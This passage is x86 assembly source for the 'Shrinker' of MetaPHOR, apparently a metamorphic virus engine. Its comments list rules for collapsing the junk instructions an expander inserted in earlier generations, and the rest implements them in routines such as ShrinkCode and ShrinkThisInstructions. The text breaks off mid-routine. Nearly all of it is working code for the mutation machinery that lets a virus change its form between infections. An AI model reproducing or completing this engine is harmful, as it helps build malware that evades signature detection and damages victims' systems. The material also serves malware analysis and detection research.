;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; ;; The Shrinker ;; ------------ ;; ;; Required parameters: ;; [InstructionTable] = Pointer to first instruction in instruction table ;; [AddressOfLastInstruction] = The limit of the disassembly ;; ;; This function will eliminate all the obfuscation done by the expander in ;; previous generations. The compression is made by single instructions, pairs ;; or triplets. The work is performed in the pseudo-ASM the disassembler ;; generated, so the modifications are easier. ;; ;; The single, pairs and triplets scanned are the following (extracted from ;; the article I wrote about this engine): ;; ;; --------------------------------------------------------------------------- ;; ;; Legend: ;; Reg: A register ;; Mem: A memory address ;; Imm: Immediate ;; ;; When in an instruction is Reg,Reg or something like that, both are the ;; same register. If they are different, I write it as Reg,Reg2 (for example). ;; ;; Transformations over single instructions: ;; ;; XOR Reg,-1 --> NOT Reg ;; XOR Mem,-1 --> NOT Mem ;; MOV Reg,Reg --> NOP ;; SUB Reg,Imm --> ADD Reg,-Imm ;; SUB Mem,Imm --> ADD Mem,-Imm ;; XOR Reg,0 --> MOV Reg,0 ;; XOR Mem,0 --> MOV Mem,0 ;; ADD Reg,0 --> NOP ;; ADD Mem,0 --> NOP ;; OR Reg,0 --> NOP ;; OR Mem,0 --> NOP ;; AND Reg,-1 --> NOP ;; AND Mem,-1 --> NOP ;; AND Reg,0 --> MOV Reg,0 ;; AND Mem,0 --> MOV Mem,0 ;; XOR Reg,Reg --> MOV Reg,0 ;; SUB Reg,Reg --> MOV Reg,0 ;; OR Reg,Reg --> CMP Reg,0 ;; AND Reg,Reg --> CMP Reg,0 ;; TEST Reg,Reg --> CMP Reg,0 ;; LEA Reg,[Imm] --> MOV Reg,Imm ;; LEA Reg,[Reg+Imm] --> ADD Reg,Imm ;; LEA Reg,[Reg2] --> MOV Reg,Reg2 ;; LEA Reg,[Reg+Reg2] --> ADD Reg,Reg2 ;; LEA Reg,[Reg2+Reg2+xxx] --> LEA Reg,[2*Reg2+xxx] ;; MOV Reg,Reg --> NOP ;; MOV Mem,Mem --> NOP (result of a compression of ;; PUSH Mem/POP Mem, with pseudoopcode 4F) ;; ;; The instructions that are eliminated (the ones that mean NOP) are be used ;; as garbage along the executable code. Since every NOP instruction can be ;; expanded (for example, MOV Reg,Reg can be set as PUSH Reg/POP Reg, and every ;; PUSH and POP also can be expanded, and so on) you can't know what's garbage ;; and what's not until you have compressed everything. ;; ;; The pairs of instructions that MetaPHOR can compress are: ;; ;; PUSH Imm / POP Reg --> MOV Reg,Imm ;; PUSH Imm / POP Mem --> MOV Mem,Imm ;; PUSH Reg / POP Reg2 --> MOV Reg2,Reg ;; PUSH Reg / POP Mem --> MOV Mem,Reg ;; PUSH Mem / POP Reg --> MOV Reg,Mem ;; PUSH Mem / POP Mem2 --> MOV Mem2,Mem (codificated ;; with pseudoopcode 4F) ;; MOV Mem,Reg/PUSH Mem --> PUSH Reg ;; POP Mem / MOV Reg,Mem --> POP Reg ;; POP Mem2 / MOV Mem,Mem2 --> POP Mem ;; MOV Mem,Reg / MOV Reg2,Mem --> MOV Reg2,Reg ;; MOV Mem,Imm / PUSH Mem --> PUSH Imm ;; MOV Mem,Imm / OP Reg,Mem --> OP Reg,Imm ;; MOV Reg,Imm / ADD Reg,Reg2 --> LEA Reg,[Reg2+Imm] ;; MOV Reg,Reg2 / ADD Reg,Imm --> LEA Reg,[Reg2+Imm] ;; MOV Reg,Reg2 / ADD Reg,Reg3 --> LEA Reg,[Reg2+Reg3] ;; ADD Reg,Imm / ADD Reg,Reg2 --> LEA Reg,[Reg+Reg2+Imm] ;; ADD Reg,Reg2 / ADD Reg,Imm --> LEA Reg,[Reg+Reg2+Imm] ;; OP Reg,Imm / OP Reg,Imm2 --> OP Reg,(Imm OP Imm2) ;; (must be calculated) ;; OP Mem,Imm / OP Mem,Imm2 --> OP Mem,(Imm OP Imm2) ;; (must be calculated) ;; LEA Reg,[Reg2+Imm] / ADD Reg,Reg3 --> LEA Reg,[Reg2+Reg3+Imm] ;; LEA Reg,[(RegX+)Reg2+Imm] / ADD Reg,Reg2 -> LEA Reg,[(RegX+)2*Reg2+Imm] ;; POP Mem / PUSH Mem --> NOP ;; MOV Mem2,Mem / MOV Mem3,Mem2 --> MOV Mem3,Mem ;; MOV Mem2,Mem / OP Reg,Mem2 --> OP Reg,Mem ;; MOV Mem2,Mem / MOV Mem2,xxx --> MOV Mem2,xxx ;; MOV Mem,Reg / CALL Mem --> CALL Reg ;; MOV Mem,Reg / JMP Mem --> JMP Reg ;; MOV Mem2,Mem / CALL Mem2 --> CALL Mem ;; MOV Mem2,Mem / JMP Mem2 --> JMP Mem ;; MOV Mem,Reg / MOV Mem2,Mem --> MOV Mem2,Reg ;; OP Reg,xxx / MOV Reg,yyy --> MOV Reg,yyy ;; Jcc @xxx / !Jcc @xxx --> JMP @xxx (this applies to ;; (Jcc & 0FEh) with (Jcc | 1) ;; NOT Reg / NEG Reg --> ADD Reg,1 ;; NOT Reg / ADD Reg,1 --> NEG Reg ;; NOT Mem / NEG Mem --> ADD Mem,1 ;; NOT Mem / ADD Mem,1 --> NEG Mem ;; NEG Reg / NOT Reg --> ADD Reg,-1 ;; NEG Reg / ADD Reg,-1 --> NOT Reg ;; NEG Mem / NOT Mem --> ADD Mem,-1 ;; NEG Mem / ADD Mem,-1 --> NOT Mem ;; CMP X,Y / != Jcc (CMP without Jcc) --> NOP ;; TEST X,Y / != Jcc --> NOP ;; POP Mem / JMP Mem --> RET ;; PUSH Reg / RET --> JMP Reg ;; CALL Mem / MOV Mem2,EAX --> CALL Mem / APICALL_STORE Mem2 ;; MOV Reg,Mem / CALL Reg --> CALL Mem ;; XOR Reg,Reg / MOV Reg8,[Mem] --> MOVZX Reg,byte ptr [Mem] ;; MOV Reg,[Mem] / AND Reg,0FFh --> MOVZX Reg,byte ptr [Mem] ;; ;; ;; Maybe there are more, but this set is sufficient, at least for our ;; proposits. What we do know is scan the code for this situations and then we ;; substitute the first instruction by their equivalent and we overwrite with ;; NOP the second, so the instructions are compressed. ;; ;; But there are more: the triplets: ;; ;; MOV Mem,Reg ;; OP Mem,Reg2 ;; MOV Reg,Mem --> OP Reg,Reg2 ;; ;; MOV Mem,Reg ;; OP Mem,Imm ;; MOV Reg,Mem --> OP Reg,Imm ;; ;; MOV Mem,Imm ;; OP Mem,Reg ;; MOV Reg,Mem --> OP Reg,Imm (it can't be SUB) ;; ;; MOV Mem2,Mem ;; OP Mem2,Reg ;; MOV Mem,Mem2 --> OP Mem,Reg ;; ;; MOV Mem2,Mem ;; OP Mem2,Imm ;; MOV Mem,Mem2 --> OP Mem,Imm ;; ;; CMP Reg,Reg ;; JO/JB/JNZ/JA/JS/JNP/JL/JG @xxx ;; != Jcc --> NOP ;; ;; CMP Reg,Reg ;; JNO/JAE/JZ/JBE/JNS/JP/JGE/JLE @xxx ;; != Jcc --> JMP @xxx ;; ;; MOV Mem,Imm ;; CMP/TEST Reg,Mem ;; Jcc @xxx --> CMP/TEST Reg,Imm ;; Jcc @xxx ;; MOV Mem,Reg ;; SUB/CMP Mem,Reg2 ;; Jcc @xxx --> CMP Reg,Reg2 ;; Jcc @xxx ;; MOV Mem,Reg ;; AND/TEST Mem,Reg2 ;; Jcc @xxx --> TEST Reg,Reg2 ;; Jcc @xxx ;; MOV Mem,Reg ;; SUB/CMP Mem,Imm ;; Jcc @xxx --> CMP Reg,Imm ;; Jcc @xxx ;; MOV Mem,Reg ;; AND/TEST Mem,Imm ;; Jcc @xxx --> TEST Reg,Imm ;; Jcc @xxx ;; MOV Mem2,Mem ;; CMP/TEST Reg,Mem2 ;; Jcc @xxx --> CMP/TEST Reg,Mem ;; Jcc @xxx ;; MOV Mem2,Mem ;; AND/TEST Mem2,Reg ;; Jcc @xxx --> TEST Mem,Reg ;; Jcc @xxx ;; MOV Mem2,Mem ;; SUB/CMP Mem2,Reg ;; Jcc @xxx --> CMP Mem,Reg ;; Jcc @xxx ;; MOV Mem2,Mem ;; AND/TEST Mem2,Imm ;; Jcc @xxx --> TEST Mem,Imm ;; Jcc @xxx ;; MOV Mem2,Mem ;; SUB/CMP Mem2,Imm ;; Jcc @xxx --> CMP Mem,Imm ;; Jcc @xxx ;; PUSH EAX ;; PUSH ECX ;; PUSH EDX --> APICALL_BEGIN ;; ;; POP EDX ;; POP ECX ;; POP EAX --> APICALL_END ;;---------------------------------------------------------------------------- ;; ;; ShrinkCode acts over the disassembled buffer in [InstructionTable]. ;; ShrinkCode proc mov edi, [ebp+InstructionTable] mov eax, [edi] and eax, 0FFh ; Get pseudo-opcode call CheckIfInstructionUsesMem ; Uses a memory address? or eax, eax jz @@Shrink ; If not, continue call OrderRegs ; Order the indexes of the instruction ; from lower to upper @@Shrink: mov eax, [edi] and eax, 0FFh ; Get pseudo-op cmp eax, 0FFh ; Is it NOP? jz @@IncreaseEIP ; If so, increase pointer call ShrinkThisInstructions ; Check for singles, pairs or ; triplets or eax, eax ; Do we performed a compression? jz @@IncreaseEIP ; If we don't, increase pointer call DecreaseEIP ; Decrease the pointer three instructions call DecreaseEIP ; to get a possible matching group with call DecreaseEIP ; the two above. jmp @@Shrink ; Check again @@IncreaseEIP: call IncreaseEIP ; Increase pointer cmp edi, [ebp+AddressOfLastInstruction] ; Last instruction? jnz @@Shrink ; If not, check next group @@DecreaseAddressOfLastInstruction: sub edi, 10h ; Now we eliminate the remaining NOPs mov eax, [edi] ; at the end of all the instructions. and eax, 0FFh cmp eax, 0FFh jnz @@LastInstructionOK mov [ebp+AddressOfLastInstruction], edi jmp @@DecreaseAddressOfLastInstruction @@LastInstructionOK: ;; Second pass to find APICALL_BEGIN, APICALL_END and SET_WEIGHT mov edi, [ebp+InstructionTable] @@FindAPICALL_X: @@GetFirstInstruction: call IncreaseEIP2 ; Increase pointer cmp eax, -1 ; End of instruction table? jz @@EndOfScan ; If so, finish the search mov eax, [edi] and eax, 0FFh cmp eax, 50h jnz @@ItsNot_SET_WEIGHT push edi mov esi, edi call IncreaseEIP2 or eax, eax jnz @@ItsNot_SET_WEIGHT_2 mov eax, [edi] and eax, 0FFh cmp eax, 40h jnz @@ItsNot_SET_WEIGHT_2 mov edx, edi call IncreaseEIP2 or eax, eax jnz @@ItsNot_SET_WEIGHT_2 mov eax, [edi] and eax, 0FFh cmp eax, 40h jnz @@ItsNot_SET_WEIGHT_2 mov ecx, edi call IncreaseEIP2 or eax, eax jnz @@ItsNot_SET_WEIGHT_2 mov eax, [edi] and eax, 0FFh cmp eax, 43h jnz @@ItsNot_SET_WEIGHT_2 mov ebx, edi call IncreaseEIP2 or eax, eax jnz @@ItsNot_SET_WEIGHT_2 mov eax, [edi] and eax, 0FFh cmp eax, 58h jnz @@ItsNot_SET_WEIGHT_2 mov eax, [esi+1] and eax, 0FFh mov esi, eax mov eax, [edx+1] and eax, 0FFh cmp eax, esi jnz @@ItsNot_SET_WEIGHT_2 mov eax, [edi+1] and eax, 0FFh cmp eax, esi jnz @@ItsNot_SET_WEIGHT_2 mov esi, [ecx+1] and esi, 0FFh mov eax, [ebx+7] and eax, 0FFh cmp eax, esi jnz @@ItsNot_SET_WEIGHT_2 pop esi mov eax, 0F7h ; SET_WEIGHT mov [esi], al mov eax, [esi+1] mov [esi+9], al mov eax, [ebx+1] mov [esi+1], eax mov eax, [ebx+3] mov [esi+3], eax mov eax, [edx+7] mov [esi+7], al mov eax, [ecx+1] mov [esi+8], al mov eax, 0FFh mov [edx], eax mov [ecx], eax mov [ebx], eax mov [edi], eax jmp @@AllOK @@ItsNot_SET_WEIGHT_2: pop edi @@ItsNot_SET_WEIGHT: @@AllOK: @@CheckAPICALL_X: mov edx, edi ; Save pointer in EDX push edi @@GetSecondInstruction: call IncreaseEIP2 ; Get next cmp eax, -1 ; End of code? jz @@EndOfScan ; Finish, then or eax, eax ; Label over the instruction? jnz @@EndOfTriplet ; If there's label, ignore the group mov esi, edi ; Put pointer in ESI @@GetThirdInstruction: call IncreaseEIP2 ; Do the same: increase pointer and check cmp eax, -1 ; for end of code or a label over the jz @@EndOfScan ; instruction or eax, eax jnz @@EndOfTriplet mov eax, [edx] ; Get the first instruction and eax, 0FFh cmp eax, 50h ; PUSH Reg? jnz @@FindAPICALL_END ; If not, check next instruction mov eax, [esi] ; Get the second instruction and eax, 0FFh cmp eax, 50h ; PUSH Reg? jnz @@FindAPICALL_END ; If not, next instruction mov eax, [edi] ; Get the third instruction and eax, 0FFh cmp eax, 50h ; PUSH Reg? jnz @@FindAPICALL_END ; If not, next instruction mov eax, [edx+1] and eax, 0FFh or eax, eax ; First instruction is PUSH EAX? jnz @@FindAPICALL_END ; If it isn't, it's not APICALL_* mov eax, [esi+1] and eax, 0FFh cmp eax, 1 ; Is it PUSH ECX? jnz @@FindAPICALL_END ; If not, check other mov eax, [edi+1] and eax, 0FFh cmp eax, 2 ; Is it PUSH EDX jnz @@FindAPICALL_END ; If not, check other mov eax, 0F4h ; APICALL_BEGIN @@SetAPICALL_X: mov [edx], eax ; Set instruction mov eax, 0FFh mov [esi], eax ; NOP the second and third instruction mov [edi], eax jmp @@EndOfTriplet ; Check next group @@FindAPICALL_END: mov eax, [edx] ; Get the first instruction and eax, 0FFh cmp eax, 58h ; POP Reg? jnz @@EndOfTriplet ; If not, next group mov eax, [esi] ; Check the second instruction and eax, 0FFh cmp eax, 58h ; POP Reg? jnz @@EndOfTriplet ; If not, next group mov eax, [edi] ; Get the third instruction and eax, 0FFh cmp eax, 58h ; POP Reg? jnz @@EndOfTriplet ; If not, next group mov eax, [edx+1] and eax, 0FFh cmp eax, 2 ; First instruction = POP EDX? jnz @@EndOfTriplet ; If not, check next group mov eax, [esi+1] and eax, 0FFh cmp eax, 1 ; Second instruction = POP ECX? jnz @@EndOfTriplet ; If not, check next group mov eax, [edi+1] and eax, 0FFh or eax, eax ; Third instruction = POP EAX? jnz @@EndOfTriplet ; If not, check next group mov eax, 0F5h ; Set APICALL_END jmp @@SetAPICALL_X @@EndOfTriplet: pop edi ; Restore pointer and check next triplet jmp @@FindAPICALL_X @@EndOfScan: pop edi ret ShrinkCode endp ;; Function used while we scan for APICALL_BEGIN and APICALL_END IncreaseEIP2 proc cmp edi, [ebp+AddressOfLastInstruction] jz @@EndOfScan add edi, 10h ; Increase instruction pointer cmp edi, [ebp+AddressOfLastInstruction] jz @@EndOfScan ; If we finished the code, return -1 mov eax, [edi] ; Get the instruction and eax, 0FFh cmp eax, 0FFh ; If it's NOP, increase again jz IncreaseEIP2 mov eax, [edi+0Bh] ; Get the label flag and eax, 0FFh ; Return 1 if the instruction has a ret ; label pointing to it or 0 if it doesn't have it @@EndOfScan: mov eax, -1 ret IncreaseEIP2 endp ;; Function that decreases the instruction pointer. It will decrease while ;; the instruction is NOP, unless it's the first or it's labelled. DecreaseEIP proc @@Again: cmp edi, [ebp+InstructionTable] ; if we are just at the jz @@OK ; beginning, return mov eax, [edi+0Bh] ; Check label and eax, 0FFh ; If the current instruction is labelled, or eax, eax ; finish the decreasing jnz @@OK sub edi, 10h ; Decrease the pointer mov eax, [edi] and eax, 0FFh cmp eax, 0FFh ; Is it NOP? jz @@Again ; If it is, decrease again @@OK: ret DecreaseEIP endp ;; Function that increases the instruction pointer. It will increase until ;; the current instruction isn't NOP or it's the last instruction of the code. IncreaseEIP proc mov ecx, [ebp+AddressOfLastInstruction] cmp edi, ecx ; Pointing to last instruction? jz @@_End ; If so, end @@Again: add edi, 10h ; Check next cmp edi, ecx ; Last instruction? jz @@_End ; If so, end mov eax, [edi+0Bh] ; Check if it's labelled and eax, 0FFh or eax, eax ; If it's labelled, end increasing jnz @@End mov eax, [edi] ; Get instruction and eax, 0FFh cmp eax, 0FFh ; If it's NOP, increase again jz @@Again @@End: mov eax, [edi] and eax, 0FFh ; Check if the instruction uses a call CheckIfInstructionUsesMem ; memory address or eax, eax jz @@_End call OrderRegs ; If it uses a memory address, order the ; indexes mov eax, [edi] ; Check if the instruction is MOV Mem,Mem and eax, 0FFh cmp eax, 4Fh jnz @@_End push edi ; If it's MOV Mem,Mem, order the indexes mov edi, [edi+7] ; of the extended part call OrderRegs pop edi @@_End: ret IncreaseEIP endp ;; Function to order the indexes in an instruction that uses a memory address. ;; If it has a single index, it's set at +1 (since the disassembler maybe put ;; it at +2 and set a 8 value in +1). If it has a multiplicator, just leave ;; it at +2 (by specifications). If the instruction has two indexes with no ;; multiplicators, put the lower one at +1 and other at +2. In case that the ;; one at +2 has a multiplicator, the indexes are unexchanged. OrderRegs proc push edx mov eax, [edi+1] ; Check the index and eax, 0FFh cmp eax, 8 ; If it doesn't exists, check the jnz @@_Next ; second index mov eax, [edi+2] ; Get the second index and eax, 0FFh cmp eax, 7 ; If it has a scalar modification (*2, ja @@_End ; *4 or *8) just leave it. ; At this point, +1 is free and +2 holds an index mov edx, [edi+1] ; Put the index at +1 and edx, 0FFFFFF00h add eax, edx mov [edi+1], eax mov eax, [edi+2] ; Free the position at +2 and eax, 0FFFFFF00h add eax, 8 mov [edi+2], eax @@_End: pop edx ; Return ret ; At this point, we put the lowest at +1. +1 is sure to hold ; a register, so +2 holds another one, 8 (no one) or one with ; multiplicator. In all cases, we can check for the lowest ; number and put it at +1 and we are ordering them (since a ; free position at +2 would be 8, which is always > [+1] or ; would use a scalar, so it would be >= 40h) @@_Next: mov eax, [edi+2] ; Get the two indexes mov edx, [edi+1] and eax, 0FFh and edx, 0FFh cmp eax, edx ; If EAX > EDX, they are already ordered ja @@_End push eax mov edx, [edi+2] ; Get the lowest at +2 in EDX mov eax, [edi+1] ; Get the highest at +1 in EAX and eax, 0FFh and edx, 0FFFFFF00h add eax, edx ; Combine the data mov [edi+2], eax ; Set the register at +2 pop eax mov edx, [edi+1] ; Get the DWORD at +1 (keep all info) and edx, 0FFFFFF00h add eax, edx ; Merge it with the lowest register mov [edi+1], eax ; Set it at +1 pop edx ret ; Return with the indexes ordered OrderRegs endp ; EDI = Instruction pointer ; ECX = Address of last instruction ; returns: ; EAX != 0 if compressed, EAX = 0 if left unchanged ShrinkThisInstructions proc ;;; Single instructions. The instructions are converted to their equivalent ;;; from the obfuscated form. In this way we also make easier the search of ;;; pairs and triplets. push edi @@Check_Single: mov eax, [edi] and eax, 0FFh cmp eax, 30h ; Check XOR Reg,Imm jnz @@Single_Next00 mov ecx, 0E0h ; Maybe it's NOT Reg @@Single_Next_CommonXOR_s1: mov eax, [edi+7] ; Get the Imm @@Single_Next_CommonXOR_s1_2: cmp eax, -1 ; Check if it's -1 jz @@Single_SetInstructionECX ; If it is, set opcode @@Single_Next_CheckNulOP: or eax, eax ; Check if it's XOR with 0 jnz @@Single_End jmp @@Single_SetNOP ; If it's 0, set a NOP @@Single_SetInstructionECX: mov eax, ecx ; Set the opcode in jmp @@Single_SetInstruction @@Single_Next00: ;mov al, [edi] cmp eax, 34h ; Check XOR Mem,Imm jnz @@Single_Next00_ mov ecx, 0E1h ; Set NOT Mem if Imm == -1 jmp @@Single_Next_CommonXOR_s1 @@Single_Next00_: cmp eax, 4Bh ; Check TEST Mem,Reg jnz @@Single_Next00__ mov eax, 4Ah ; If it is, set TEST Reg,Mem (the other jmp @@Single_SetInstruction ; possibility doesn't exist) @@Single_Next00__: cmp eax, 4Bh+80h ; Check TEST Mem,Reg (8 bits) jnz @@Single_Next01 mov eax, 4Ah+80h ; It it is, set TEST Reg,Mem (8 bits) jmp @@Single_SetInstruction @@Single_Next01: ;mov al, [edi] cmp eax, 30h+80h ; XOR Reg8,Imm8? jnz @@Single_Next02 mov ecx, 0E2h ; Set NOT if Imm8 == -1 @@Single_Next01_GetSigned: mov eax, [edi+7] and eax, 0FFh cmp eax, 80h jb @@Single_Next01_NotSigned add eax, 0FFFFFF00h @@Single_Next01_NotSigned: jmp @@Single_Next_CommonXOR_s1_2 @@Single_Next02: ;mov al, [edi] cmp eax, 34h+80h ; XOR Mem8,Imm8? jnz @@Single_Next03 mov ecx, 0E3h ; Set NOT if Imm8 == -1 jmp @@Single_Next01_GetSigned @@Single_Next03: ;mov al, [edi] cmp eax, 41h ; MOV Reg,Reg? jnz @@Single_Next04 @@Single_Next_CommonMOV: mov eax, [edi+1] ; Check if source and destiny are mov ecx, [edi+7] ; the same and eax, 0FFh and ecx, 0FFh cmp eax, ecx ; If they are, set NOP jnz @@Single_End @@Single_SetNOP: mov eax, 0FFh @@Single_SetInstruction: mov ecx, [edi] ; Get the DWORD at [EDI] and ecx, 0FFFFFF00h and eax, 0FFh ; Set 0FF on the lower byte (set NOP) add eax, ecx mov [edi], eax ; Write back the DWORD jmp @@EndCompressed @@Single_Next04: ;mov al, [edi] cmp eax, 41h+80h ; MOV Reg8,Reg8? jz @@Single_Next_CommonMOV @@Single_Next05: ;mov al, [edi] cmp eax, 28h ; SUB Reg,Imm? jnz @@Single_Next06 xor ecx, ecx ; Just put ADD @@Single_Next_NegateImm: mov eax, [edi+7] ; Negate the Imm neg eax mov [edi+7], eax jmp @@Single_SetInstructionECX ; Set the opcode of ADD @@Single_Next06: ;mov al, [edi] cmp eax, 28h+80h ; SUB Reg8,Imm8? jnz @@Single_Next07 mov ecx, 00h+80h ; Set the opcode of ADD Reg8,Imm8 jmp @@Single_Next_NegateImm ; Jump to negate the Imm @@Single_Next07: ;mov al, [edi] cmp eax, 2Ch ; SUB Mem,Imm? jnz @@Single_Next08 mov ecx, 04h ; Set ADD Mem,-Imm jmp @@Single_Next_NegateImm @@Single_Next08: ;mov al, [edi] cmp eax, 2Ch+80h ; SUB Mem8,Imm8? jnz @@Single_Next09 mov ecx, 04h+80h ; Set ADD Mem8,-Imm8 jmp @@Single_Next_NegateImm @@Single_Next09: ;mov al, [edi] or eax, eax ; ADD Reg,Imm? jnz @@Single_Next10 @@Single_Next_CheckNulOP_2: mov eax, [edi+7] ; Check if it's ADD Reg,0. If it is, jmp @@Single_Next_CheckNulOP ; anulate the instruction @@Single_Next10: cmp eax, 4 ; ADD Mem,Imm? jz @@Single_Next_CheckNulOP_2 ; If it is, check for Imm==0 cmp eax, 04h+80h ; ADD Mem8,Imm8? jz @@Single_Next_CheckNulOP_2_8b ; Check for Imm8 == 0 cmp eax, 0Ch ; OR Mem,Imm? jz @@Single_Next_CheckNulOP_2 ; Check for Imm == 0 cmp eax, 0Ch+80h ; OR Mem8,Imm8? jz @@Single_Next_CheckNulOP_2_8b ; Check for Imm8 == 0 cmp eax, 24h+80h ; AND Mem8,Imm8? jz @@Single_Next10_Check_s1_8b ; Check for Imm8 == -1 or 0 cmp eax, 24h ; AND Mem,Imm? jnz @@Single_Next10_ ; Check for Imm == -1 or 0 @@Single_Next10_Check_s1: mov eax, [edi+7] ; Get Imm cmp eax, -1 jz @@Single_SetNOP ; If Imm == -1, set NOP or eax, eax jnz @@Single_End ; If Imm == 0, mov eax, 44h ; set MOV Mem,0 jmp @@Single_SetInstruction @@Single_Next10_Check_s1_8b: mov eax, [edi+7] and eax, 0FFh cmp eax, 0FFh ; Check if Imm8 == -1 jz @@Single_SetNOP ; If it is, set NOP or eax, eax ; Check if Imm8 == 0 jnz @@Single_End ; If it isn't, check doubles mov eax, 44h+80h ; Set MOV Mem8,0 jmp @@Single_SetInstruction @@Single_Next10_: ;mov al, [edi] cmp eax, 00h+80h ; ADD Reg8,Imm8? jnz @@Single_Next11 @@Single_Next_CheckNulOP_2_8b: ;xor eax, eax mov eax, [edi+7] ; Get the Imm and go to check if it's 0 and eax, 0FFh jmp @@Single_Next_CheckNulOP @@Single_Next11: ;mov al, [edi] cmp eax, 08h ; OR Reg,Imm? jz @@Single_Next_CheckNulOP_2 ; Check if Imm is 0 @@Single_Next12: ;mov al, [edi] cmp eax, 08h+80h ; OR Reg8,Imm8? jz @@Single_Next_CheckNulOP_2_8b ; Check if is 0 @@Single_Next13: ;mov al, [edi] cmp eax, 20h ; AND Reg,Imm? jnz @@Single_Next14 mov eax, [edi+7] ; Check if Imm == -1 cmp eax, -1 jz @@Single_SetNOP ; If it is, set NOP or eax, eax jnz @@Single_End mov eax, 40h ; If it's 0, set MOV Reg,0 jmp @@Single_SetInstruction @@Single_Next14: ;mov al, [edi] cmp eax, 20h+80h ; AND Reg8,Imm8? jnz @@Single_Next15 mov eax, [edi+7] ; Get Imm8 and eax, 0FFh cmp eax, 0FFh ; Check if it's -1 jz @@Single_SetNOP ; If it is, set NOP or eax, eax jnz @@Single_End ; Check if it's 0 mov eax, 40h+80h ; If it is, set MOV Reg,0 jmp @@Single_SetInstruction @@Single_Next15: ;mov al, [edi] cmp eax, 31h ; XOR Reg,Reg? jnz @@Single_Next16 @@Single_Next_CheckSetTo0: mov ecx, 40h ; Set ECX = pseudoopcode of MOV @@Single_Next_CheckSetTo0_2: mov eax, [edi+1] ; Check if source == destiny mov ebx, [edi+7] and eax, 0FFh and ebx, 0FFh cmp eax, ebx ; If they are equal... jnz @@Single_End ; ... xor eax, eax ; ...set MOV Reg,0 mov [edi+7], eax jmp @@Single_SetInstructionECX @@Single_Next16: ;mov al, [edi] cmp eax, 31h+80h ; XOR Reg8,Reg8? jnz @@Single_Next17 @@Single_Next_CheckSetTo0_8b: mov ecx, 40h+80h ; Check if source == destiny and put jmp @@Single_Next_CheckSetTo0_2 ; MOV Reg8,0 if they are ; equal @@Single_Next17: ;mov al, [edi] cmp eax, 29h ; SUB Reg,Reg? jz @@Single_Next_CheckSetTo0 ; Check in the same way as ; XOR Reg,Reg @@Single_Next18: ;mov al, [edi] cmp eax, 29h+80h ; SUB Reg8,Reg8? jz @@Single_Next_CheckSetTo0_8b ; Check if src == dest, to ; see if we put MOV Reg8,0 @@Single_Next19: ;mov al, [edi] cmp eax, 09h ; OR Reg,Reg? jnz @@Single_Next20 @@Single_Next_CheckCheckIf0: mov ecx, 38h ; Put CMP Reg,0 if src == dest jmp @@Single_Next_CheckSetTo0_2 @@Single_Next20: ;mov al, [edi] cmp eax, 09h+80h ; OR Reg8,Reg8? jnz @@Single_Next21 @@Single_Next_CheckCheckIf0_8b: mov ecx, 38h+80h ; Put CMP Reg8,0 if src == dest jmp @@Single_Next_CheckSetTo0_2 @@Single_Next21: ;mov al, [edi] cmp eax, 21h ; AND Reg,Reg? jz @@Single_Next_CheckCheckIf0 @@Single_Next22: ;mov al, [edi] cmp eax, 21h+80h ; AND Reg8,Reg8? jz @@Single_Next_CheckCheckIf0_8b @@Single_Next23: ;mov al, [edi] cmp eax, 49h ; TEST Reg,Reg? jz @@Single_Next_CheckCheckIf0 @@Single_Next24: ;mov al, [edi] cmp eax, 49h+80h ; TEST Reg8,Reg8? jz @@Single_Next_CheckCheckIf0_8b @@Single_Next25: ;mov al, [edi] cmp eax, 0FCh ; LEA Reg,[Mem]? jnz @@Single_Next26 mov eax, [edi+2] ; Check second index and eax, 0FFh cmp eax, 40h ; If it has a multiplicator, it's not jae @@Single_Next26 ; interesting mov eax, [edi+1] ; Now +1 holds the first index (and if and eax, 0FFh ; there aren't multiplicators, this cmp eax, 8 ; must be < 8 if there is an index) jz @@Single_Next_LEA_CheckMOV ; If 8, there aren't indexes mov ecx, [edi+7] and ecx, 0FFh ; ECX = Destiny register cmp eax, ecx ; Are they equal? jz @@Single_Next_LEA_CheckADD ; If so, check ADD mov eax, [edi+2] ; Get the second index and eax, 0FFh ; Is there anyone? cmp eax, 8 jz @@Single_Next_LEA_CheckMOVRegReg ; If not, check MOV cmp eax, ecx ; Is equal to the destiny? jz @@Single_Next_LEA_CheckADDRegReg2 ; If so, check ADD mov ecx, [edi+1] ; Get the first index and ecx, 0FFh cmp eax, ecx ; If it's not equal to the second, jnz @@Single_End ; finish singles conversion mov eax, 8 ; Set the first index as 8 mov ecx, [edi+1] and ecx, 0FFFFFF00h add eax, ecx mov [edi+1], eax mov eax, [edi+2] add eax, 40h ; Set LEA Reg,[2*Reg] mov [edi+2], eax jmp @@EndCompressed ; End with compression flag @@Single_Next_LEA_CheckADDRegReg2: mov eax, [edi+3] ; Get the immediate or eax, eax ; If it's 0, set ADD Reg,Reg jz @@Single_Next_LEA_SetADDRegReg_2 ; If not, leave LEA jmp @@Single_End @@Single_Next_LEA_CheckMOV: mov eax, [edi+2] ; It DOESN'T hold anything more than and eax, 0FFh ; 8, but just in case cmp eax, 8 jz @@Single_Next_LEA_SetMOV ; If 8, set MOV Reg,Imm mov ecx, [edi+7] ; Get the destiny and ecx, 0FFh cmp eax, ecx ; If destiny == index, set ADD jz @@Single_Next_LEA_SetADD_2 mov eax, [edi+3] ; Get the Immediate or eax, eax ; If it isn't 0, end jnz @@Single_End @@Single_Next_LEA_SetMOVRegReg_2: mov eax, [edi+2] ; Set MOV Reg,Reg (from LEA Reg,[Reg]) mov ecx, [edi+1] and ecx, 0FFFFFF00h and eax, 0FFh add eax, ecx mov [edi+1], eax mov eax, 41h jmp @@Single_SetInstruction @@Single_Next_LEA_SetADD_2: mov ecx, [edi+1] ; Set ADD Reg,Reg (from and ecx, 0FFFFFF00h ; LEA Reg,[Reg+Reg2]) and eax, 0FFh add eax, ecx mov [edi+1], eax mov eax, [edi+3] mov [edi+7], eax xor eax, eax jmp @@Single_SetInstruction @@Single_Next_LEA_SetMOV: mov ecx, 40h ; Set MOV Reg,Imm (from LEA Reg,[Imm]) mov eax, [edi+7] and eax, 0FFh mov ebx, [edi+1] and ebx, 0FFFFFF00h add eax, ebx mov [edi+1], eax @@Single_Next_LEA_SetInstructionECX: mov eax, [edi+3] mov [edi+7], eax jmp @@Single_SetInstructionECX @@Single_Next_LEA_CheckADD: mov eax, [edi+2] ; Check another possibility for ADD and eax, 0FFh cmp eax, 8 ; If Index2 == 8 (not set), set jz @@Single_Next_LEA_SetADD ; ADD Reg,Imm mov eax, [edi+3] ; If Index2 != 8 and memory dword or eax, 